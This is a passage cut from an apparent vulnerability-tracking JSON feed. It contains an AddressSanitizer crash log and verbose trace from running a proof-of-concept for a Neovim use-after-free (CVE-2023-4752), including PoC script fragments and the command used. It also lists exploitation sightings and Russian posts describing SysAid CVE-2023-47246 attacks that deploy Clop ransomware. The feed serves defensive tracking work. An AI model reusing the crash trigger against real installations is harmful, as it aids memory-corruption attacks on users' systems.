fa fd fa fa fa fd fa\n=>0x0c047ffff460: fa fa fd[fd]fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047ffff470: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff480: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff490: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff4a0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff4b0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==5418==ABORTING\n\n\nCommand:\n./nvim-0.5.1 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so CVE-2023-4752.dat\n\nline 0: sourcing \"CVE-2023-4752.dat\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: n0\n\nline 5: unlet! b:keymap_name\n\nline 6: sil0norm0i^P\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4752/CVE-2023-4752.dat:\nline    6:\nE987: invalid return value from tagfunc=================================================================\n==5485==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000007ad9 at pc 0x000000721cef bp 0x7fff2838fd50 sp 0x7fff2838fd48\nREAD of size 1 at 0x602000007ad9 thread T0\n    #0 0x721cee in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4098:14\n    #1 0x6fbcc1 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4652:21\n    #2 0x6f6c62 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5272:7\n    #3 0x70b241 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1334:7\n    #4 0x70de83 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1253:5\n    #5 0x6e664a in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:810:10\n    #6 0xee9614 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #7 0x6ea859 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:489:5\n    #8 0x6e4853 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1413:3\n    #9 0xbf4678 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7729:7\n    #10 0xbd9981 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7701:5\n    #11 0xbcdd8b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n    #12 0xbca776 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:8164:9\n    #13 0x8ff950 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8514:5\n    #14 0x8ff696 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8497:3\n    #15 0x91900a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8425:7\n    #16 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #17 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #18 0x8c1e99 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3061:5\n    #19 0x8beab8 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #20 0x8bf090 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #21 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #22 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #23 0x8d0ee3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #24 0xa936ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #25 0xa8bad0 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #26 0x7fa74b499082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #27 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.1-ASAN+0x45de8d)\n\n0x602000007ad9 is located 9 bytes inside of 10-byte region [0x602000007ad0,0x602000007ada)\nfreed by thread T0 here:\n    #0 0x4d634d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.1-ASAN+0x4d634d)\n    #1 0xb32744 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:3\n    #2 0xc726e8 in clear_string_option /home/zzw/Desktop/neovim/build/../src/nvim/option.c:2098:5\n    #3 0x663c0f in free_buf_options /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1977:3\n    #4 0x6576e1 in free_buffer_stuff /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:806:5\n    #5 0x657156 in free_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:766:3\n    #6 0x653990 in close_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:625:5\n    #7 0x65f7eb in empty_curbuf /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1100:5\n    #8 0x659780 in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1271:14\n    #9 0x65df34 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:976:11\n    #10 0x9107cd in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4880:17\n    #11 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #12 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #13 0x845146 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1124:5\n    #14 0x841d26 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1568:11\n    #15 0x73608e in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1070:9\n    #16 0xf4b5e8 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1179:12\n    #17 0xf3b118 in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1524:14\n    #18 0x7232da in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4226:11\n    #19 0x6fbcc1 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4652:21\n    #20 0x6f6c62 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5272:7\n    #21 0x70b241 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1334:7\n    #22 0x70de83 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1253:5\n    #23 0x6e664a in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:810:10\n    #24 0xee9614 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:69:26\n    #25 0x6ea859 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:489:5\n    #26 0x6e4853 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1413:3\n    #27 0xbf4678 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7729:7\n    #28 0xbd9981 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7701:5\n    #29 0xbcdd8b in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1148:3\n\npreviously allocated by thread T0 here:\n    #0 0x4d65cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.1-ASAN+0x4d65cd)\n    #1 0xb32492 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:73:15\n    #2 0xb32664 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:107:15\n    #3 0xb32aad in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:184:15\n    #4 0xb32b28 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:202:17\n    #5 0xb3327b in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:421:10\n    #6 0xeeb0d4 in vim_strsave /home/zzw/Desktop/neovim/build/../src/nvim/strings.c:58:20\n    #7 0xc81d2f in buf_copy_options /home/zzw/Desktop/neovim/build/../src/nvim/option.c:6023:22\n    #8 0x65cd91 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1825:5\n    #9 0x6695b6 in buflist_add /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2991:9\n    #10 0x8fa692 in alist_add /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6954:7\n    #11 0x8fa4d2 in alist_set /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6923:7\n    #12 0x8b9bd0 in do_arglist /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1819:7\n    #13 0x8b7606 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2039:11\n    #14 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #15 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #16 0x8c1e99 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3061:5\n    #17 0x8beab8 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #18 0x8bf090 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #19 0x8db155 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1969:5\n    #20 0x8cd4f2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:599:20\n    #21 0x8d0ee3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #22 0xa936ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #23 0xa8bad0 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #24 0x7fa74b499082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:4098:14 in ins_compl_get_exp\nShadow bytes around the buggy address:\n  0x0c047fff8f00: fa fa fd fd fa fa 00 01 fa fa fd fd fa fa fd fa\n  0x0c047fff8f10: fa fa 00 00 fa fa 00 00 fa fa fd fd fa fa 02 fa\n  0x0c047fff8f20: fa fa 02 fa fa fa 02 fa fa fa 03 fa fa fa fd fd\n  0x0c047fff8f30: fa fa fd fa fa fa fd fd fa fa 00 03 fa fa fd fd\n  0x0c047fff8f40: fa fa 00 03 fa fa fd fa fa fa 02 fa fa fa fd fa\n=>0x0c047fff8f50: fa fa fd fa fa fa fd fa fa fa fd[fd]fa fa fd fa\n  0x0c047fff8f60: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\n  0x0c047fff8f70: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa\n  0x0c047fff8f80: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8f90: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8fa0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==5485==ABORTING", "creation_timestamp": "2026-06-13T13:31:42.000000Z"}, {"uuid": "9bc0c52a-bea3-4f82-ad46-cb38536e2937", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-16)", "content": "", "creation_timestamp": "2026-06-16T00:00:00.000000Z"}, {"uuid": "aa0f3193-e066-43a4-949e-9971a32da908", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5cd55b81-c8f6-402c-b1d8-50b156faef5d", "content": "", "creation_timestamp": "2026-06-19T12:46:13.063800Z"}, {"uuid": "a74edc3b-daa4-4905-9952-ecc3dec482d1", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0aa6f2af-8fe9-4cae-8157-6dd5a71e4e19", "content": "", "creation_timestamp": "2026-06-19T12:46:42.616931Z"}, {"uuid": "c0fd4f69-1e85-4446-add6-41ddf1b8d363", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47630", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a80d054e-c819-44e5-9f08-67e85db1cff1", "content": "", "creation_timestamp": "2026-06-19T12:46:45.506525Z"}, {"uuid": "d1ff8b65-ece4-4498-b190-01414e733c07", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/80ed708d-ba00-4340-b9f6-8f6eb2d9881b", "content": "", "creation_timestamp": "2026-06-19T12:46:11.675816Z"}, {"uuid": "2c5d930e-2bdd-411a-bec3-6a3fb12160f1", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5de98f11-705f-4756-ac0d-033609d9e156", "content": "", "creation_timestamp": "2026-06-19T12:46:44.196248Z"}, {"uuid": "926f2674-0c1e-49e0-9c46-e72f36ab25a4", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a3047112-49c4-4027-aa08-a0a28af82d82", "content": "", "creation_timestamp": "2026-06-19T12:46:46.137259Z"}, {"uuid": "7996f40c-1028-4bb8-af12-d39177276e20", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c9e82430-17ec-45e9-8061-e4c980eacf0d", "content": "", "creation_timestamp": "2026-06-23T14:03:59.839787Z"}, {"uuid": "63e79d41-cee2-4916-b5d6-40e84982af29", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b31ed029-5472-45f2-96cd-7ec8a4954135", "content": "", "creation_timestamp": "2026-06-23T14:03:33.367135Z"}, {"uuid": "e7023b4d-c468-4403-a52e-afea5cda7d73", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cac67c3f-a7e4-402c-8db7-05ba0004a0e4", "content": "", "creation_timestamp": "2026-06-23T14:05:49.408240Z"}, {"uuid": "dbe1e72b-e72e-48a4-add9-74e495e13dd6", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f4a214a7-05a7-4aa3-83da-470cce27fcf9", "content": "", "creation_timestamp": "2026-06-23T14:05:47.848258Z"}, {"uuid": "5770a2f9-47bd-4639-8c6a-f61f68e9ba03", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/889f0c9b-e2a8-477e-ae1a-fa19001db129", "content": "", "creation_timestamp": "2026-06-23T14:05:51.052245Z"}, {"uuid": "6d5ba84a-c6b7-4395-878b-48cb4aeba3a4", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/55c824dc-aad6-4ef3-b1cb-66b5c0e35b06", "content": "", "creation_timestamp": "2026-06-23T14:06:12.305367Z"}, {"uuid": "a00dd756-849c-4d9b-98c1-3bf4635f5923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-23)", "content": "", "creation_timestamp": "2026-06-23T00:00:00.000000Z"}, {"uuid": "ea041f0b-3c7f-4c38-bcc4-bcada731f73e", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/1910d904-1f5b-49be-af7d-e391c52b93a6", "content": "", "creation_timestamp": "2026-06-30T09:23:20.598303Z"}, {"uuid": "41d72253-9cc1-43fd-bf35-f8b7fe4440f0", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5c19001d-1895-4108-a572-8a4a1148d32e", "content": "", "creation_timestamp": "2026-06-30T09:23:28.018573Z"}, {"uuid": "0ff9d25c-35e4-40e7-8979-402df4eae5ed", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-47253", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/85eb6859-05ad-49c3-a8dd-7b2bf31b681f", "content": "", "creation_timestamp": "2026-06-30T09:23:38.559598Z"}, {"uuid": "96fce958-c080-4c4c-b8e7-fe539fd50e83", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/fb536477-40a4-4284-871b-d235ddc94b20", "content": "", "creation_timestamp": "2026-06-30T09:23:50.006111Z"}, {"uuid": "6e7bdeba-4afc-4496-9527-647e0b4733c8", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-47565", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/db0dc739-3638-42cb-812d-eac86792c6e4", "content": "", "creation_timestamp": "2026-06-30T10:22:16.703236Z"}, {"uuid": "a0cef0b0-f9e9-4f5c-a1e2-2e8b22d978ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47415", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpxbwqrflo2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-47415 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Cypress Solutions CTM-200: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/660F790C-4F10-488A-A2C5-D4F2761C11B9", "creation_timestamp": "2026-07-06T04:47:41.337631Z"}, {"uuid": "32751b30-187f-4b43-86a6-eb6c2fe023c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ZerodayAlert/85", "content": "SysAid \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0441\u0442\u043e\u0438\u0442 \u0443\u0433\u0440\u043e\u0437\u0435: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 0day \u0432 \u0446\u0435\u043d\u0442\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\u2705 \u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 CVE-2023-47246 \u0432 SysAid \u0434\u043b\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f Clop.\n\n\u2705 \u041f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e WAR-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0432\u0435\u0431-\u0441\u043b\u0443\u0436\u0431\u044b Tomcat SysAid. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0441\u043b\u0435\u0434\u043e\u0432 \u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u2705 SysAid \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2023-47246. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n#SysAidSecurity #0day #CyberSecurity #DataBreachAlert\n\n@ZerodayAlert", "creation_timestamp": "2026-07-06T11:00:15.179913Z"}, {"uuid": "ee14d93c-5332-4060-807f-89ee7c22feaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ZerodayAlert/85", "content": "SysAid \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0441\u0442\u043e\u0438\u0442 \u0443\u0433\u0440\u043e\u0437\u0435: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 0day \u0432 \u0446\u0435\u043d\u0442\u0440\u0435 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\n\n\u2705 \u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 CVE-2023-47246 \u0432 SysAid \u0434\u043b\u044f \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f Clop.\n\n\u2705 \u041f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 